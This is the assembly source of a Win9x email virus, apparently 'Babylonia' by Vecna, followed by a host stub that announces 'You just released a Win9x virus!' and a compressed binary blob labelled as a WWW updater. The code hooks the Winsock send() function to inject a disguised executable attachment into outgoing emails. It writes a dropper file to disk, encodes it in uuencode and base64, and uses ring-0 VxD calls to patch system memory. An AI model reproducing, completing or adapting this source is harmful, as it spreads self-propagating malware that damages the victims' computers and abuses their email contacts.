add eax, -((ofs @@jmp-ofs vcode)+4)
mov [ebp+(ofs @@jmp-ofs vcode)], eax
pop dwo [ebp+(ofs @@address-ofs vcode)] ;dynamic VxDCall building
mov eax, 12345678h
eax_value equ dwo $-4
@@int:
int 20h
@@address dd 0
db 0e9h
@@jmp dd 0
vxd endp
bound_ db 'OUNDARY="'
bound_sz = $-ofs bound_
db 0
rva2raw proc
push esi
push ecx
push ebx
lea esi, [esp+section+(4*4)] ;first section
movzx ecx, wo [esp+pe_hdr+6+(4*4)]
@@section:
mov ebx, eax
sub ebx, [esi+12]
cmp [esi+8], ebx
jae @@found ;point inside section
sub esi, -40
loop @@section
sub ebx, ebx ;signal error
jmp @@error
@@found:
add ebx, [esi+20] ;convert to raw
@@error:
mov eax, ebx
pop ebx
pop ecx
pop esi
ret
rva2raw endp
check_size proc
test eax, eax
jz @@error
cmp eax, 2*1024*1024
jae @@error ;bigger than 2mb
cmp eax, 8*1024
jbe @@error ;smaller than 4kb
sub edx, edx
push 17
pop ecx ;if((fsize mod 17) = 15)
div ecx ;lexo32 ;-)
sub edx, 15
db 066h, 0b8h ;mov ax, ?
@@error:
sub eax, eax
ret
check_size endp
pstart equ this byte ;wsock32.dll code...
dd 0
db 'C:\_'
driver db 8 dup (0) ;drivername
db '.---', 0
send proc
call init2
mov eax, 12345678h
_send equ dwo $-4
jmp eax ;jmp to hmem send
send endp
init2 proc
cld
pusha
call @@delta
@@delta:
pop ebp
add ebp, -(ofs @@delta-ofs pstart) ;get delta in wsock32.dll
mov ebx, ebp
lea edi, [ebx+(ofs driver-ofs pstart)]
push 8
pop ecx
@@byte:
rol ebx, 4
mov al, bl
and al, 01111b ;convert address to filename
add al, 'A'
stosb
loop @@byte
add ebx, 4
push ebx
db 0b8h
_getfattr dd 0 ;call backdoor
call eax
mov eax, 90909090h
lea edi, [ebp+((ofs send-ofs pstart))]
stosd ;clean calls to install
stosb
mov eax, [ebp] ;get ring0 interface code
test eax, eax
jz @@damaged ;cant get the interface
mov [ebp+(ofs _send-ofs pstart)], eax ;set jmps to my hmem handlers
@@damaged:
popa
ret
init2 endp
pend equ this byte
include unpack.inc
ScanVxd proc
pusha
mov edi, [ebx+0C0000018h] ;Control_Proc_0
@@page:
lea ecx, [edi+4] ;check presence for
test ecx, 00000FFFh
jz @@check ;to each new page encountered
@@mov:
inc edi
cmp [edi], esi ;B8 <esi>
jne @@page
cmp by [edi-1], 0B8h
jne @@page
mov dwo [edi], -1 ;R0_xxx <-- 0xFFFFFFFF
jmp @@page
@@check:
pusha
sub esp, 28
mov esi, esp
push 28
push esi ;esi = MEMORY_BASIC_INFO
push ecx
push 00010134h
call vxd ;VMMcall PageQuery
bt dwo [esi+10h], 3 ;mbi_state & MEM_COMMIT
lea esp, [esp+4*3+28]
popa
jc @@mov ;will not fault?
popa
ret
ScanVxd endp
IF DEBUG EQ TRUE
dropname db 'C:\GOAT.EXE', 0
ELSE
dropname db 'C:\BABYLONIA.EXE', 0
ENDIF
myname dd 0
mem_temp dd 0
mem dd 0
sent dd 0
uudropper dd 0
uusize dd 0
b64dropper dd 0
b64size dd 0
my_send proc
call init
pusha
call delta
mov esi, [esp+(8*4)+(1*4)+4] ;send() buffer
db 0b9h
socket_out dd 0 ;we're monitoring a specific socket?
jecxz @@all
cmp [esp+(8*4)+(1*4)+0], ecx ;if so, then make sure is our
je @@monitor
jmp @@done
@@all:
cmp [esi], 'ATAD' ;email is being send!
jne @@done
mov eax, [esp+(8*4)+(1*4)+0] ;monitor this socket only now
mov [ebp+(ofs socket_out-ofs vcode)], eax
sub eax, eax
mov [ebp+(ofs boundary-ofs vcode)], eax ;init MIME fieldz
mov [ebp+(ofs sent-ofs vcode)], eax
jmp @@done
@@monitor:
mov ecx, [esp+(8*4)+(1*4)+8] ;size
mov edi, esi
mov al, '.' ;search .
push ecx
@@cont_dot:
repne scasb ;not end_of_email yet
jne @@no_dot ;so, check for MIME
cmp dwo [edi-2], 0a0d2e0ah
jne @@cont_dot ;make sure is the end_of_email sign
pop ecx ;ecx=size of buffer
call uu_send
sub eax, eax ;ready to infect next email
mov [ebp+(ofs socket_out-ofs vcode)], eax
jmp @@done ;send the .
@@no_dot:
pop ecx
dec ecx ;monitor MIME emailz
dec ecx
dec ecx ;size-3, since we load DWORDs
test ecx, ecx
js @@done ;buffer smaller than 2, exit!
@@scan:
push ecx
lodsd
dec esi
dec esi
dec esi
push esi
and eax, not 20202020h ;eax=upcase of 1st 4 letterz
db 0bah
boundary dd 0
test edx, edx ;we already found the boundary?
jnz @@boundary_found
sub eax, 'NUOB'
jnz @@bogus ;maybe a boundary?
lea edi, [ebp+(ofs bound_-ofs vcode)]
@@loop_1:
cmp by [edi], ah
je @@done_1
lodsb
cmp al, 'a'
jb @@up
cmp al, 'z' ;check string
ja @@up
and al, not 20h
@@up:
inc edi
not al
cmp by [edi-1], al
je @@loop_1
@@done_1:
jne @@bogus
mov edi, [ebp+(ofs mem-ofs vcode)] ;copy MIME boundary to buffer
mov [ebp+(ofs boundary-ofs vcode)], edi
@@next_b:
lodsb
cmp al, '"'
je @@copied
stosb
jmp @@next_b
@@copied:
sub eax, eax ;now we have all we need for
stosd ;a perfect send :)
jmp @@bogus
@@boundary_found:
push esi
dec esi
dec ecx
sub eax, eax ;search for boundary
@@match:
lodsb
inc edx
cmp by [edx], ah
je @@is_boundary
cmp by [edx], al ;compare stringz
je @@match
@@is_boundary:
xchg edi, esi ;edi=end of boundary+1
pop esi
jne @@bogus ;end reached and all match?
cmp al, '-'
jne @@bogus
scasb ;found last boundary!
jne @@bogus
pop eax ;fix stack
mov [esp], edi
mov wo [edi-2], 0A0Dh ;turn to normal boundary
sub edi, [esp+(8*4)+(1*4)+4+4] ;subtract buffer address
xchg [esp+(8*4)+(1*4)+8+4], edi ;new size
mov [ebp+(ofs eax_value2-ofs vcode)], edi ;save old for return
push dwo [esp+(8*4)+(1*4)+8+4] ;size
push dwo [esp+(8*4)+(1*4)+8+4] ;buffer
call safesend
pop edi ;interception point
mov wo [edi-2], '--' ;restore user buffer
mov [ebp+(ofs eax_value2-ofs vcode)], eax
jc @@error
call uu_send
mov eax, [ebp+(ofs eax_value2-ofs vcode)] ;how much they want send
mov ebx, [esp+(8*4)+(1*4)+8] ;how much we already send
sub eax, ebx
jz @@gran_finale ;done
mov [esp+(8*4)+(1*4)+8], eax ;send rest
add [esp+(8*4)+(1*4)+4], ebx ;starting from last send byte
push dwo [esp+(8*4)+(1*4)+8] ;size
push dwo [esp+(8*4)+(1*4)+8] ;buffer
call safesend ;send the remainder of user buffer
jc @@error
@@gran_finale:
mov edi, [ebp+(ofs boundary-ofs vcode)]
mov esi, edi
@@next1:
lodsb
test al, al
jnz @@next1 ;search end
xchg edi, esi
dec edi
add al, '-'
stosb ;make last boundary
stosb
sub edi, esi ;calculate the size
push edi ;size
push esi
call safesend ;send last boundary
@@error:
popa
db 0b8h
eax_value2 dd 0 ;return no error
ret 4*4
@@bogus:
pop esi
pop ecx
dec ecx
jnz @@scan ;bahh... to far to a loop
@@done:
popa
mov eax, 12345678h
oldsend equ dwo $-4
jmp eax
my_send endp
script db 'Content-Type: application/octet-stream; name="', 1, '"', 13, 10
db 'Content-Disposition: attachment; filename="', 1, '"', 13, 10
db 'Content-Transfer-Encoding: base64', 13, 10, 13, 10
db 0
script_sz = $-ofs script
uu_send proc
pusha
sub eax, eax
cmp [ebp+(ofs sent-ofs vcode)], eax
jne @@already
mov edi, [ebp+(ofs boundary-ofs vcode)]
cmp edi, eax
je @@skip_header
add edi, 100h ;work after boundary
push edi
lea esi, [ebp+(ofs script-ofs vcode)]
@@expand:
lodsb
not al
test al, al
jz @@send_header
cmp al, 1
jnz @@name
call ninsert ;insert exe name
db 0b0h
@@name:
stosb
jmp @@expand
@@send_header:
pop esi
sub edi, esi
push edi ;size
push esi ;buffer
call safesend ;send mime header
jc @@fuxkx
mov edi, [ebp+(ofs b64size-ofs vcode)]
mov esi, [ebp+(ofs b64dropper-ofs vcode)]
jmp @@block
@@skip_header:
mov edi, [ebp+(ofs uusize-ofs vcode)]
mov esi, [ebp+(ofs uudropper-ofs vcode)]
@@block:
mov eax, 4*1024 ;block size=4kb
cmp eax, edi
jb @@low
mov eax, edi ;send the remainder
@@low:
push eax ;size
push esi ;buffer
call safesend
jc @@fuxkx
add esi, eax
sub edi, eax
jnz @@block ;blockz left?
@@fuxkx:
mov [ebp+(ofs sent-ofs vcode)], ebp
@@already:
popa
ret
uu_send endp
init proc
pusha
cld
sub eax, eax
call delta
cmp [ebp+(ofs mem-ofs vcode)], eax
jne @@inited ;we already inited our dropper?
mov eax, [ebp+(ofs mem_temp-ofs vcode)]
mov [ebp+(ofs mem-ofs vcode)], eax
test eax, eax
jz @@inited
push eax
call @@over
include dropper.inc
@@over:
call _aP_depack_asm ;unpack dropper data
add esp, -8*2
push esp
db 0b8h
_gsystime dd 0
call eax
mov bl, [esp+(1*2)] ;bh=month
add esp, 8*2
push 6
lea esi, [ebp+(ofs dates-ofs vcode)]
lea ecx, [ebp+(ofs name0-ofs vcode)]
mov [ebp+(ofs myname-ofs vcode)], ecx
pop ecx
@@next_date:
lodsw
cmp ah, bl
je @@is
cmp bl, al
jne @@nope ;this holiday isnt this month
@@is:
pusha
mov edi, [ebp+(ofs mem-ofs vcode)]
add edi, icon ;where icon should go in dropper
mov esi, edi
add esi, (ofs coelho-icon) ;first icon
mov eax, 1152
xchg eax, ecx ;eax=count ecx=size icon
dec eax
lea edx, [ebp+(ofs names-ofs vcode)]
mov edx, [edx+(eax*4)]
add edx, ebp
mov [ebp+(ofs myname-ofs vcode)], edx ;get dropper name
cdq
mul ecx ;count*size+base=new icon
add esi, eax
rep movsb ;install new icon
popa
@@nope:
loop @@next_date ;check next date
push 2
lea esi, [ebp+(ofs dropname-ofs vcode)]
pop ecx
call r3_open
jz @@fux0r
push DROPPER_SIZE
mov esi, [ebp+(ofs mem-ofs vcode)]
pop ecx
call r3_write ;write clean dropper
call r3_close
push 3
lea esi, [ebp+(ofs dropname-ofs vcode)]
pop ecx
call r3_open
jz @@fux0r1
call r3_seof ;get new dropper size
cmp eax, DROPPER_SIZE
je @@fux0r2 ;was infected?
push eax
call r3_ssof
mov edi, [ebp+(ofs mem-ofs vcode)]
mov ecx, [esp]
lea eax, [edi+ecx]
push edi
push eax
call r3_read ;read infected dropper
@@fux0r2:
call r3_close
@@fux0r1:
lea eax, [ebp+(ofs dropname-ofs vcode)]
push eax
db 0b8h
_fdelete dd 0
call eax
pop edi ;edi=uuencode buffer
mov esi, [esp] ;esi=image
mov ecx, [esp+4] ;ecx=size
call uuencode
call delta
mov [ebp+(ofs uudropper-ofs vcode)], edi
mov [ebp+(ofs uusize-ofs vcode)], ecx
pop esi ;esi=image
lea edi, [edi+ecx]
pop eax ;eax=size
call BASE64
mov [ebp+(ofs b64dropper-ofs vcode)], edi
mov [ebp+(ofs b64size-ofs vcode)], ecx
lea eax, [ebp+(ofs wsock-ofs vcode)]
push eax
db 0b8h
_getmhandle dd 0
call eax
mov edi, [ebp+(ofs _getproc-ofs vcode)] ;eax=wsokc32 base
call @@112
db 'WSAGetLastError', 0
@@112:
push eax
call edi
mov [ebp+(ofs _WSAGetLastError-ofs vcode)], eax
jmp @@inited
@@fux0r:
sub eax, eax
mov [ebp+(ofs mem-ofs vcode)], eax
@@inited:
popa
ret
init endp
decript_names proc
pusha
call delta
lea edi, [ebp+(ofs name0-ofs vcode)]
push name_sz
pop ecx
mov esi, edi
@@999:
lodsb
not al ;crypt/decrypt
stosb
loop @@999
popa
ret
decript_names endp
ninsert proc
pusha
call decript_names
mov esi, [ebp+(ofs myname-ofs vcode)]
@@next:
lodsb
stosb
test al, al
jnz @@next
dec edi
mov eax, not 'EXE.'
not eax
stosd
mov [esp], edi
call decript_names
popa
ret
ninsert endp
dates equ this byte
db 06, 07 ; BABILONIA - US FLAG
db 12, 12 ; NAVIDAD - Papai Noel
db 04, 04 ; PASCOA - Ovo
db 01, 01 ; REYES MAGOS - Jesus
db 10, 11 ; HALLOWEN - Abobora
db 03, 03 ; PASCOA2 - Coelho
name0 db 'I-WATCH-U', 0 ;default name
name1 db 'BABILONIA', 0
name2 db 'X-MAS', 0
name3 db 'SURPRISE!', 0
name4 db 'JESUS', 0
name5 db 'BUHH', 0
name6 db 'CHOCOLATE', 0
name_sz = $-ofs name0
names equ this byte
dd (ofs name6-ofs vcode)
dd (ofs name5-ofs vcode)
dd (ofs name4-ofs vcode)
dd (ofs name3-ofs vcode)
dd (ofs name2-ofs vcode)
dd (ofs name1-ofs vcode)
dd 0
r3_open proc
sub eax, eax
push eax
push 22h
push ecx
push eax
push eax
push 0c0000000h
push esi
mov eax, 12345678h
_openfile equ dwo $-4
call eax ;CreateFileA
mov [ebp+(ofs r3handle-ofs vcode)], eax
inc eax
ret
r3_open endp
r3_close proc
push 12345678h
org $-4
r3handle dd 0
mov eax, 12345678h
_closehandle equ dwo $-4
call eax ;CloseHandle
ret
r3_close endp
r3_write proc
push 0
call @@1
dd 0
@@1: push ecx
push esi
push dwo [ebp+(ofs r3handle-ofs vcode)]
mov eax, 12345678h
_writefile equ dwo $-4
call eax ;WriteFile
ret
r3_write endp
r3_read proc
push 0
call @@1
dd 0
@@1: push ecx
push edi
push dwo [ebp+(ofs r3handle-ofs vcode)]
mov eax, 12345678h
_readfile equ dwo $-4
call eax ;WriteFile
ret
r3_read endp
r3_ssof proc
push 0
db 66h,0b8h
r3_seof proc
push 2
push 0
push 0
push dwo [ebp+(ofs r3handle-ofs vcode)]
mov eax, 12345678h
_seekfile equ dwo $-4
call eax
ret
r3_seof endp
r3_ssof endp
;UUENCODE
;ESI=Data to encode
;EDI=Buffer
;ECX=Size of data
uuencode proc
cld
push edi
push esi
push ecx
mov eax, 065620A0Dh
stosw
stosd
mov eax, not ' nig'
not eax
stosd
mov eax, not ' 446'
not eax
stosd
call ninsert ;insert dropper name
mov ax, 0A0Dh
stosw
mov eax, [esp] ;eax=size
cdq
push 45
pop ebx
div ebx ;dl=rest in last line
mov ecx, eax ;ecx=number of lines
pop ebp ;esi=start of data
pop esi
add ebp, esi ;ebp=end of data
@@line:
push ecx
mov al, "M" ;start of line
stosb
push 15
pop ecx ;read 15*3 => write 15*4
@@octet:
call getbyte
shr al, 2
call convert ;1st char
shl al, 4
and al, 00110000b
mov bh, al
call getbyte
shr al, 4
and al, 00001111b
or al, bh
call convert ;2nd char
shl al, 2
and al, 11111100b
mov bh, al
call getbyte
shr al, 6
and al, 00000011b
or al, bh
call convert ;3th char
call convert ;4th char
loop @@octet
mov ax, 0A0Dh
stosw
pop ecx
loop @@line ;do next line
mov eax, edx
test al, al
jz @@end
add al, 20h ;do remainder
stosb
xor eax, eax
mov al, dl
xor edx, edx
xor ecx, ecx
push 3
pop ebx
div ebx
mov ecx, eax
test edx, edx
jz @@no_rest
inc cx ;octets to make
@@no_rest:
push 1 ;is last line
sub edx, edx ;with no rest
jmp @@octet
@@end:
mov eax, 0650A0D60h ;"end"
stosd
mov eax, 00A0D646Eh
stosd
shr eax, 16 ;cr+lf
stosw
pop ecx
sub edi, ecx
xchg edi, ecx
ret
uuencode endp
wsock db 'WSOCK32.DLL', 0
convert proc
and al, 00111111b
jnz @@0
add al, 40h
@@0:
add al, 20h
stosb
mov al, ah
ret
convert endp
getbyte proc
cmp esi, ebp ;end of buffer?
jne @@load
xor al, al
db 0b4h ;skip LODSB
@@load:
lodsb
mov ah, al ;backup
ret
getbyte endp
protect proc
inc ecx
add ecx, 4096 ;tnz again to z0mbie!
shr ecx, 12
test ebx, 4095
jnz @@forget
shr ebx, 12
push 0
push not (00020000h+00040000h) ;not writeable+user
push ecx
push ebx
push 00010133h ;PageModifyPermissions
call vxd
add esp, 4*4
@@forget:
ret
protect endp
safesend proc
pusha
@@retry:
mov eax, [esp+4+(8*4)]
mov ecx, [esp+8+(8*4)]
push 0
push ecx ;size
push eax ;buffer
push dwo [ebp+(ofs socket_out-ofs vcode)]
call [ebp+(ofs oldsend-ofs vcode)]
mov ecx, eax
inc ecx
jnz @@done
db 0b8h
_WSAGetLastError dd 0
call eax
sub eax, 10035 ;EWOULDBLOCK?
jz @@retry
stc ;error
db 0b1h
@@done:
clc
mov [esp+(7*4)], eax
popa
ret 2*4
safesend endp
;esi=input
;edi=output
;eax=size
BASE64 proc
cld
push edi
push 3
call @@trans
trans_table = $
db 'A','B','C','D','E','F','G','H','I','J'
db 'K','L','M','N','O','P','Q','R','S','T'
db 'U','V','W','X','Y','Z','a','b','c','d'
db 'e','f','g','h','i','j','k','l','m','n'
db 'o','p','q','r','s','t','u','v','w','x'
db 'y','z','0','1','2','3','4','5','6','7'
db '8','9','+','/'
chars dd ? ;contador de caracteres
@@trans:
pop ebx
push (ofs chars-ofs trans_table)
pop ecx
@@1:
not by [ebx+ecx-1] ;crazy, isnt? ;)
loop @@1 ;now, imagine what i can do if i wasnt stoned all time
pop ecx
cdq
mov dwo [ebx+ecx+((ofs chars-ofs trans_table)-3)], edx ;tricky ;)
div ecx
mov ecx, eax
push edx
@@loop:
lodsd
dec esi ;edx=original
mov edx, eax ;edx=work copy
call Temp
call CODE64Block3
call CODE64Block4
loop @@loop
pop ecx ;get rest
jecxz @@done
lodsd
dec ecx
jz @@rest1
movzx edx, ax ;use only 2 bytes
call Temp
call CODE64Block3
jmp @@end
@@rest1:
movzx edx, al ;use 1 byte only
call Temp
inc ecx
inc ecx
@@end:
mov al, '='
rep stosb
@@done:
mov eax, 0A0D0A0Dh
stosd
push (ofs chars-ofs trans_table)
pop ecx
@@2:
not by [ebx+ecx-1]
loop @@2
pop ecx
sub edi, ecx ;edi=buffer
xchg ecx, edi ;ecx=size
ret
BASE64 endp
Temp proc
call CODE64Block1 ;little optimizing routine
call CODE64Block2
ret
Temp endp
CODE64Block1:
mov eax, edx
shr eax, 02h
process3:
jmp process
CODE64Block2:
mov eax, edx
shl al, 04h
shr ah, 04h
process2:
or al, ah ;chained jmps
jmp process3 ;another "why make it easy?" (c) Vecna ;)
CODE64Block3:
mov eax, edx
shr eax, 08h
shl al, 02h
shr ah, 06h
jmp process2
CODE64Block4:
mov eax,edx
shr eax,10h
process:
and al,00111111b
xlatb
stosb
mov eax, dwo [ebx+(ofs chars-ofs trans_table)]
inc eax
mov dwo [ebx+(ofs chars-ofs trans_table)], eax
pusha
push 0000004Ch
pop ecx
cdq
div ecx
test edx, edx
popa
jnz @@noline
mov ax, 0A0Dh
stosw
@@noline:
ret
align 4
vend equ this byte
db 'EOV', 0
_VIRUS ends
end main
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[BABYLON.ASM]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[HOST.INC]ÄÄÄ
_TEXT segment dword use32 public 'CODE'
main proc
call init001
push 0
push ofs caption
push ofs msg
push 0
temp1 equ $
call virusmain
extrn MessageBoxA:PROC
call MessageBoxA
push 0
extrn ExitProcess:PROC
call ExitProcess
main endp
init001 proc
mov esi, ofs hlp1_s
mov edi, esi
mov ecx, hlp1_sz
@@1:
lodsb
not al
stosb
loop @@1
mov esi, ofs bound_
mov edi, esi
mov ecx, bound_sz
@@2:
lodsb
not al
stosb
loop @@2
mov esi, ofs script
mov edi, esi
mov ecx, script_sz
@@3:
lodsb
not al
stosb
loop @@3
mov esi, ofs name0
mov edi, esi
mov ecx, name_sz
@@4:
lodsb
not al
stosb
loop @@4
mov esi, ofs trans_table
mov edi, esi
mov ecx, (ofs chars-ofs trans_table)
@@5:
lodsb
not al
stosb
loop @@5
ret
init001 endp
_TEXT ends
_DATA segment dword use32 public 'DATA'
IF DEBUG EQ TRUE
caption db 'Vecna virus (DEBUG)', 0
ELSE
caption db 'Vecna virus', 0
ENDIF
msg db 'You just released a Win9x virus!', 0
_DATA ends
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[HOST.INC]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[UPDATER.INC]ÄÄÄ
;Compressed WWW Updater
;(C) Vecna
db 04Dh, 038h, 05Ah, 090h, 038h, 003h, 066h, 002h
db 004h, 009h, 071h, 0FFh, 081h, 0B8h, 0C2h, 091h
db 001h, 040h, 0C2h, 015h, 0C6h, 080h, 009h, 00Eh
db 0B4h, 04Ch, 0CDh, 021h, 015h, 001h, 0EBh, 018h
db 050h, 045h, 008h, 04Ch, 001h, 053h, 003h, 014h
db 0CEh, 0E0h, 003h, 00Fh, 001h, 00Bh, 096h, 013h
db 065h, 008h, 009h, 006h, 032h, 015h, 010h, 09Ch
db 022h, 052h, 040h, 010h, 020h, 002h, 057h, 001h
db 051h, 08Ah, 040h, 018h, 04Eh, 015h, 007h, 0D9h
db 053h, 020h, 04Dh, 008h, 0EEh, 095h, 04Bh, 095h
db 030h, 011h, 0E5h, 06Bh, 001h, 0A0h, 043h, 04Fh
db 044h, 052h, 045h, 08Dh, 0DDh, 02Bh, 0ECh, 095h
db 002h, 024h, 0A5h, 041h, 0B7h, 040h, 044h, 041h
db 054h, 0CAh, 0B9h, 028h, 020h, 04Ch, 024h, 00Ah
db 0A5h, 0F3h, 060h, 0C0h, 02Eh, 069h, 064h, 039h
db 061h, 074h, 053h, 028h, 024h, 030h, 0D1h, 0E5h
db 00Ch, 02Ah, 028h, 052h, 088h, 0A0h, 0FCh, 068h
db 003h, 040h, 080h, 0E8h, 032h, 0A6h, 005h, 00Bh
db 002h, 020h, 02Bh, 0C0h, 050h, 06Ah, 073h, 001h
db 0E8h, 068h, 031h, 080h, 021h, 05Ch, 0E8h, 0EAh
db 043h, 016h, 035h, 07Ah, 095h, 044h, 065h, 080h
db 00Ch, 0FAh, 0FFh, 074h, 059h, 00Ah, 0FEh, 0EAh
db 048h, 009h, 0C7h, 005h, 04Ch, 021h, 0B0h, 021h
db 068h, 05Bh, 060h, 010h, 012h, 064h, 067h, 0FFh
db 036h, 0E1h, 088h, 00Dh, 089h, 026h, 03Ah, 014h
db 025h, 050h, 03Ah, 032h, 03Ah, 06Bh, 08Bh, 0ACh
db 00Bh, 02Eh, 08Fh, 040h, 006h, 058h, 028h, 083h
db 03Dh, 033h, 0C1h, 082h, 018h, 068h, 060h, 0EAh
db 098h, 0A1h, 04Eh, 0B5h, 0EBh, 0C2h, 070h, 06Ah
db 0A4h, 068h, 06Dh, 0FEh, 05Dh, 018h, 0DDh, 02Dh
db 08Fh, 02Bh, 081h, 0ECh, 08Dh, 001h, 077h, 0D9h
db 068h, 0A9h, 00Fh, 01Eh, 091h, 0DAh, 003h, 085h
db 0C0h, 00Fh, 084h, 0B2h, 028h, 0E1h, 005h, 012h
db 006h, 08Bh, 0F8h, 0BEh, 0C8h, 020h, 00Eh, 031h
db 0B9h, 00Eh, 023h, 0F3h, 0A4h, 094h, 073h, 0DCh
db 022h, 0C8h, 090h, 0AAh, 039h, 00Ah, 055h, 050h
db 0E8h, 0C2h, 014h, 064h, 07Ch, 04Ah, 0BEh, 036h
db 08Eh, 0FDh, 0BAh, 04Ch, 0FFh, 002h, 047h, 003h
db 0ACh, 084h, 0C0h, 074h, 06Fh, 038h, 0BDh, 00Ah
db 08Bh, 0F5h, 07Fh, 061h, 055h, 0E8h, 08Ah, 050h
db 02Ch, 074h, 054h, 02Bh, 01Bh, 0EDh, 068h, 07Ch
db 023h, 0AAh, 078h, 08Fh, 016h, 069h, 03Fh, 08Dh
db 087h, 00Ch, 0BFh, 002h, 037h, 025h, 0D9h, 0D4h
db 002h, 002h, 080h, 0E8h, 0E6h, 0A0h, 028h, 075h
db 025h, 06Ah, 00Ch, 034h, 068h, 0C9h, 02Bh, 082h
db 029h, 055h, 0A2h, 008h, 0FFh, 035h, 08Ah, 031h
db 072h, 0A9h, 00Bh, 091h, 0C3h, 018h, 0BAh, 0FEh
db 0DDh, 0EBh, 005h, 0EFh, 0BCh, 00Dh, 094h, 081h
db 0C4h, 096h, 083h, 0C3h, 080h, 03Dh, 049h, 09Ah
db 038h, 014h, 00Fh, 085h, 00Eh, 014h, 0FEh, 005h
db 00Dh, 050h, 0F0h, 090h, 089h, 054h, 0EFh, 0AEh
db 00Dh, 036h, 0E8h, 062h, 06Fh, 056h, 045h, 090h
db 057h, 0BAh, 034h, 0D8h, 042h, 06Ah, 040h, 068h
db 041h, 0CEh, 010h, 0B4h, 0FEh, 0FAh, 08Ch, 022h
db 01Dh, 0C6h, 043h, 0A3h, 05Ch, 0C4h, 0A6h, 0DAh
db 045h, 0B3h, 0A8h, 0E0h, 00Eh, 0D4h, 03Eh, 0A3h
db 08Ch, 011h, 00Bh, 0E8h, 061h, 013h, 07Bh, 00Fh
db 082h, 088h, 088h, 037h, 08Bh, 03Dh, 041h, 003h
db 0F8h, 089h, 0E1h, 054h, 048h, 093h, 036h, 0A9h
db 0C2h, 073h, 0C4h, 060h, 057h, 0AAh, 0F3h, 0B1h
db 02Ch, 0E7h, 080h, 04Dh, 072h, 05Dh, 081h, 039h
db 056h, 04Dh, 098h, 08Dh, 00Ah, 075h, 055h, 083h
db 079h, 096h, 01Eh, 077h, 043h, 00Fh, 0B7h, 041h
db 008h, 0D3h, 0E0h, 0B7h, 0D0h, 0F8h, 007h, 075h
db 043h, 000h, 08Bh, 079h, 014h, 003h, 0F9h, 068h
db 052h, 012h, 091h, 0E2h, 051h, 060h, 015h, 019h
db 0FCh, 0F6h, 068h, 016h, 00Ch, 042h, 06Ch, 026h
db 0D7h, 013h, 0CAh, 0ECh, 049h, 004h, 0F7h, 060h
db 038h, 061h, 028h, 0EBh, 086h, 09Dh, 070h, 0C0h
db 0ACh, 0C1h, 016h, 057h, 0E8h, 063h, 05Dh, 0E9h
db 059h, 08Eh, 00Bh, 0C6h, 04Dh, 0FDh, 020h, 012h
db 060h, 01Ch, 08Bh, 044h, 024h, 07Ah, 03Ah, 04Ch
db 028h, 028h, 0DDh, 032h, 051h, 050h, 098h, 058h
db 023h, 0E8h, 04Ah, 003h, 041h, 08Bh, 0C8h, 041h
db 075h, 00Eh, 0D7h, 0FCh, 015h, 02Dh, 030h, 033h
db 027h, 00Ah, 074h, 0D8h, 0F9h, 051h, 0B1h, 0C9h
db 085h, 056h, 01Ch, 061h, 0C2h, 085h, 028h, 02Eh
db 034h, 021h, 01Ch, 064h, 024h, 03Eh, 02Ah, 06Ah
db 0B2h, 0E8h, 002h, 071h, 0E8h, 092h, 006h, 051h
db 0A3h, 032h, 0CAh, 041h, 040h, 0F9h, 016h, 02Fh
db 0A0h, 09Ch, 0D2h, 0A9h, 024h, 014h, 015h, 0E1h
db 041h, 050h, 08Bh, 0F4h, 0F8h, 010h, 056h, 0A6h
db 052h, 061h, 0E2h, 023h, 083h, 0ECh, 0F0h, 022h
db 089h, 073h, 088h, 08Bh, 07Ch, 028h, 024h, 02Ch
db 0C5h, 042h, 010h, 012h, 080h, 002h, 062h, 0A0h
db 0A9h, 020h, 0B8h, 047h, 045h, 054h, 00Ah, 020h
db 0ABh, 08Bh, 074h, 08Dh, 00Ch, 0E8h, 0AFh, 01Fh
db 0BEh, 048h, 053h, 058h, 088h, 0A5h, 0B7h, 027h
db 01Fh, 028h, 09Ch, 086h, 0B8h, 00Dh, 00Ah, 004h
db 031h, 0ABh, 02Bh, 07Fh, 057h, 0FFh, 08Fh, 028h
db 030h, 0E8h, 0D2h, 041h, 023h, 072h, 071h, 08Bh
db 05Ch, 04Ch, 04Fh, 053h, 098h, 0F6h, 0A0h, 011h
db 060h, 003h, 04Dh, 0D8h, 059h, 030h, 0EDh, 06Dh
db 02Ch, 02Bh, 0DEh, 060h, 089h, 03Ah, 01Ch, 081h
db 03Eh, 048h, 071h, 054h, 03Ah, 050h, 075h, 080h
db 0B9h, 043h, 06Fh, 06Eh, 074h, 087h, 0D9h, 01Fh
db 0ACh, 03Ah, 0C3h, 003h, 017h, 039h, 05Eh, 0FFh
db 0A8h, 012h, 081h, 07Eh, 033h, 003h, 065h, 024h
db 02Dh, 0F3h, 009h, 007h, 012h, 007h, 054h, 079h
db 070h, 0CFh, 067h, 004h, 0E2h, 011h, 0E3h, 021h
db 046h, 094h, 01Ch, 0FCh, 069h, 00Ch, 075h, 0F6h
db 089h, 086h, 018h, 0AEh, 0C3h, 0FFh, 04Ah, 0EDh
db 00Ah, 0F8h, 0EBh, 011h, 013h, 062h, 0FAh, 001h
db 039h, 0F9h, 021h, 016h, 071h, 01Eh, 062h, 00Bh
db 004h, 003h, 0AAh, 0EBh, 0F8h, 0C1h, 099h, 03Eh
db 02Eh, 0E5h, 016h, 084h, 00Ah, 041h, 072h, 00Fh
db 002h, 07Ah, 077h, 00Ah, 001h, 05Ah, 076h, 007h
db 000h, 061h, 073h, 002h, 012h, 0F8h, 0B0h, 0F9h
db 042h, 0A4h, 0F1h, 0E8h, 0DBh, 090h, 0A5h, 003h
db 046h, 013h, 0EBh, 0F6h, 0BFh, 023h, 03Fh, 0A1h
